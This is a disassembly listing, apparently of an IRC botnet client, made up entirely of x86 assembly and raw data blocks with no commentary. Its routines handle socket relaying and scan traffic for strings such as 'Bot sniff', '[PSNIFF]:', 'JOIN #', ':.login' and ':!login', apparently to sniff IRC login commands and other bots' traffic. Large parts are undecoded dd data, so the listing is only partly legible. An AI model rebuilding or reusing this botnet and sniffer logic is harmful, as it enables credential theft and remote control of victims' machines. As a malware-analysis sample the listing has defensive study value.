		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B33:				; CODE XREF: sub_411AAB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B6A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B56:				; CODE XREF: sub_411AAB+52j
					; sub_411AAB+56j
		cmp	esi, ebx
		jbe	short loc_411B80
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B69:				; CODE XREF: sub_411AAB+86j
					; sub_411AAB+A9j
		pop	ecx


loc_411B6A:				; CODE XREF: sub_411AAB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA34
		test	eax, eax
		jle	short loc_411BC9


loc_411B7D:				; CODE XREF: sub_411AAB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B80:				; CODE XREF: sub_411AAB+ADj
		cmp	al, 0Dh
		jnz	loc_411AC4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_411BC9
		xor	esi, esi
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411AAB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411BBA
		mov	[ebp+var_C], 1
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BBA:				; CODE XREF: sub_411AAB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BC9:				; CODE XREF: sub_411AAB+2Bj
					; sub_411AAB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AAB	endp

; ---------------------------------------------------------------------------
word_411BCE	dw 8B55h		; DATA XREF: sub_401ACD+2BC4o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB9E4h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0BA6415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E92Ch,	50EC458Dh, 1015FF57h, 85004CBAh
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CBA0Ch, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 9C68FFFFh, 500042BCh, 0A5E5E8h, 10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CBA7815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 7015FFE0h, 50004CBAh, 0FD2C858Dh, 3868FFFFh,	50004357h
		dd 0A579E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF96BEh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E92488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 1DD36850h, 56560041h
		dd 0E7A2E890h, 4D8B0228h, 34C969C8h, 3B000002h,	348189C6h
		dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0E727E890h
		dd 0EDEB0228h, 0EF56E890h, 8D500228h, 0FFFD2C85h, 56FC68FFh
		dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 7C15FF57h
		dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C868h, 0DBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
		dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
		dd 59FFFF99h, 0E8905659h, 22FE230h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E92Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB9CCh, 1875C085h, 15FF36FFh, 4CBA7Ch, 0E80875FFh
		dd 0FFFF988Ah, 0E8905359h, 22FE1ACh, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB9FC15h,	7FC08500h, 0FF36FF18h
		dd 4CBA7C15h, 875FF00h,	0FF9859E8h, 905359FFh, 2FE17BE8h
		dd 30BD8002h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 58006850h, 0DDE80043h, 6800003Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 3415FF36h, 0FF004CBAh, 7C15FF36h, 0FF004CBAh, 0C3E80875h
		dd 59FFFF97h, 0E5E89053h, 6A022FE0h, 0E8458D10h, 49E85053h
		dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 6415FFECh
		dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB978h, 57C06850h
		dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 3415FF36h, 0FF004CBAh, 7C15FF36h
		dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 0E04EE853h, 8D90022Fh
		dd 106AE845h, 15FF5750h, 4CB98Ch, 75FFF883h, 7815FF5Dh
		dd 50004CB9h, 43577C68h, 3DD6E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0BA3415FFh, 36FF004Ch, 0BA7C15FFh, 75FF004Ch, 96BCE808h
		dd 5359FFFFh, 0DFDEE890h, 68022Fh, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F2FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0BA3415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 7C15FF57h, 0FF004CBAh
		dd 7C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h,	81E89053h
		dd 0FF022FDFh, 7C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
		dd 0DF6AE853h
		db 2Fh,	2, 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4120AD:				; CODE XREF: ___:0041215Cj
					; ___:0041218Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4120C5:				; CODE XREF: ___:004120D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4120D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4120C5


loc_4120D5:				; CODE XREF: ___:004120CAj
		cmp	ecx, 1
		jnz	short loc_4120EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4120EA:				; CODE XREF: ___:004120D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB9CC
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB8D0
		test	eax, eax
		jz	short loc_41214A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192


loc_41214A:				; CODE XREF: ___:0041211Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB8D0
		test	eax, eax
		jz	loc_4120AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120AD


loc_412192:				; CODE XREF: ___:00412131j
					; ___:00412148j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_412197	db 55h			; DATA XREF: sub_401ACD+20B3o
					; sub_40BD91+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA6415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	228E289h
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
		dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
		dd 94A8E8FFh, 5959FFFFh, 0DDCAE853h, 8D90022Fh,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9C4h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB9C4h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E92CB0h, 0D4458D00h, 9CF6E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0E415FFFFh
		dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 1015FFD8h
		dd 83004CBAh, 1975FFF8h, 138868h, 0C2E89000h, 0FF0228E1h
		dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 0E18FE890h, 8D530228h,	0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh
		dd 858DFFFFh, 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h
		dd 0FF93B9E8h, 1CC483FFh, 0DCDAE853h, 8B90022Fh, 9F39087Dh
		dd 2A0h, 27D840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
		dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h,	0FFFFF788h
		dd 0F78485C7h, 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h
		dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B9CC15FFh, 0C085004Ch
		dd 2218E0Fh, 98A00000h,	8B0043DBh, 888588CFh, 33FFFFFAh
		dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
		dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh,	50000000h
		dd 0BC15FF56h, 0FF004CB9h, 4589C875h, 7015FFF8h, 50004CBAh
		dd 50B0458Dh, 9E8DE8h, 309D3800h, 59FFFFFFh, 0AA850F59h
		dd 80000001h, 0FFFF31BDh, 850F01FFh, 0A3h, 0FD94858Dh
		dd 0E850FFFFh, 95C0h, 75FF5353h, 0B681E8FCh, 75FF0000h
		dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh,	3FFFFFAh
		dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
		dd 96C0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
		dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0BA4815FFh, 9D39004Ch
		dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 73E7E8FFh, 0C483FFFFh
		dd 88858D14h, 50FFFFF8h, 38A7E8h, 10E95900h, 80000001h
		dd 0FFFF31BDh, 850F04FFh, 0EDh,	0FF338D8Ah, 858AFFFFh
		dd 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh
		dd 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h, 0EEBFFFFh
		dd 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh, 0C9B60FC0h
		dd 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h, 0FC75FF50h
		dd 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh,	0E7E85001h
		dd 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh,	478D50F4h
		dd 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA4815h, 75FB3B00h
		dd 0B0458D6Eh, 88858D50h, 68FFFFF8h, 4347A0h, 9D18E850h
		dd 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h,	0FFFFF888h
		dd 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch
		dd 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh, 37B0h
		dd 0E4EC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh, 68096A53h
		dd 435840h, 4815FF56h, 39004CBAh, 8F0FF85Dh, 0FFFFFD77h
		dd 56087D8Bh, 0BA7C15FFh, 75FF004Ch, 9479E8FCh,	8DFF0000h
		dd 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h, 0E8FFFFFEh
		dd 0FFFF90FAh, 0E8905359h, 22FDA1Ch, 3E868h, 0DE87E800h
		dd 57900228h, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword ptr [ebp+98h], 0
		jz	short loc_41266C
		push	esi
		mov	esi, offset dword_435850


loc_412614:				; CODE XREF: ___:00412667j
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41265B
		push	esi
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+8]
		push	offset dword_436BBC
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 28h


loc_41265B:				; CODE XREF: ___:00412621j
		add	esi, 80h
		cmp	esi, offset dword_436450
		jb	short loc_412614
		pop	esi
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------


loc_41266C:				; CODE XREF: ___:0041260Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 24h


loc_4126A3:				; CODE XREF: ___:0041266Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
byte_4126A7	db 55h			; DATA XREF: sub_401ACD+7374o
		dd 0EC81EC8Bh, 920h, 5308458Bh,	0A5835756h, 0FFFFF6E0h
		dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
		dd 94h,	1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB96815h
		dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB98015h, 200BB00h
		dd 86A0000h, 0DD6BE890h, 15FF0228h, 4CB968h, 0FF8453Bh
		dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB98015h
		dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
		dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
		dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C4468h
		dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
		dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
		dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
		dd 0ACC481h, 858D0000h,	0FFFFFB20h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
		dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
		dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C4468h
		dd 6FE85000h, 8100009Ah, 8CECh,	8D34EB00h, 0E850B845h
		dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
		dd 0FB20858Dh, 2468FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
		dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh,	858D50FCh
		dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
		dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
		dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h,	0A1h, 15FF016Ah
		dd 4CB9B0h, 80013D66h, 8F850Fh,	858D0000h, 0FFFFFD20h
		dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB96815h, 0E08D8D00h
		dd 6AFFFFFAh, 0FF50513Ch, 4CB98015h, 20858D00h,	50FFFFFDh
		dd 0FB20858Dh, 4468FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
		dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh,	0FC8B5926h
		dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
		dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
		dd 0FFFB2085h, 6A53FFh,	964EE850h, 0C4830000h, 0FC45C70Ch
		dd 436454h, 15FF106Ah, 4CB8B8h,	8BF0BF0Fh, 788BFC45h, 15FF57FCh
		dd 4CB9B0h, 7480C4F6h, 0FF146A7Bh, 4CB8B815h, 0C0856600h
		dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h,	0BD84C710h
		dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8B815h, 0C0856600h
		dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
		dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
		dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
		dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h,	0F6E0BD84h, 0F685FFFFh
		dd 158840Fh, 20830000h,	20858D00h, 83FFFFFDh, 755008FFh
		dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
		dd 8FBFE8h, 1B93D00h, 76590000h, 6815FF39h, 8D004CB9h
		dd 3C6AB84Dh, 15FF5051h, 4CB980h, 0A87D83h, 858D0E74h
		dd 0FFFFFD20h, 6C0C6850h, 55EB0043h, 50B8458Dh,	0FD20858Dh
		dd 6850FFFFh, 436BF0h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
		dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h,	0D2h, 0B96815FFh
		dd 4D8D004Ch, 513C6AB8h, 8015FF50h, 83004CB9h, 7400A87Dh
		dd 20858D1Dh, 50FFFFFDh, 436BDC68h, 20858D00h, 50FFFFFBh
		dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
		dd 6BC46850h, 858D0043h, 0FFFFFB20h, 97B4E850h,	0C4830000h
		dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
		dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
		dd 0FD20858Dh, 6AFFFFh,	9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
		dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
		dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
		dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
		dd 45835959h, 7D8114FCh, 436B84FCh, 0E98C0F00h,	83FFFFFDh
		dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
		dd 90006A59h, 2FD49FE8h
		db 2
byte_412B61	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4150o
dword_412B64	dd 102B4B8h, 9992E800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0B9E415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF7E4DE8h, 0FF5059FFh, 4CBA2415h, 36A5600h,	4589026Ah
		dd 6415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h,	7815FF5Dh
		dd 50004CB9h, 0FD4C858Dh, 0A468FFFFh, 50004375h, 9675E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
		dd 565959FFh, 0D3CAE890h, 458B022Fh, 69106AD0h,	234C0h
		dd 2CB88900h, 8D0043E9h, 5750E445h, 0BA1015FFh,	0F883004Ch
		dd 0FF6475FFh, 4CB97815h, 858D5000h, 0FFFFFD4Ch, 43757868h
		dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 7C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah,	45E89056h
		dd 56022FD3h, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CB99015h, 0FFF88300h, 15FF6475h, 4CB978h, 4C858D50h
		dd 68FFFFFDh, 437548h, 9574E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h,	0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0BA7C15FFh, 75FF004Ch,	89A0E8D0h
		dd 5659FFFFh, 0D2C2E890h, 0BB53022Fh, 436C60h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9FCh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3C68FFFEh
		dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 752C68FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0B91415FFh, 0B70F004Ch, 75FF50C0h, 7015FFF4h, 50004CBAh
		dd 8B7F048Dh, 6C74C504h, 34FF0043h, 436C5085h, 4C858D00h
		dd 68FFFFFDh, 4374F8h, 20068h, 29E85000h, 83000095h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 7815FFFFh, 50004CB9h
		dd 4374CC68h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA7C15h
		dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2FD123E8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412EDD	proc near		; CODE XREF: sub_4131EC+213p
					; sub_4131EC+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE744, eax
		mov	eax, offset dword_4CE744
		retn
sub_412EDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EEC	proc near		; CODE XREF: sub_4131EC+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F06


loc_412F02:				; CODE XREF: sub_412EEC+29j
					; sub_412EEC+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412EEC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4E


loc_412F4A:				; CODE XREF: sub_412EEC+71j
					; sub_412EEC+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F4E:				; CODE XREF: sub_412EEC+5Cj
					; DATA XREF: ___:off_43ACE8o
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a366	; "366 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C2E0
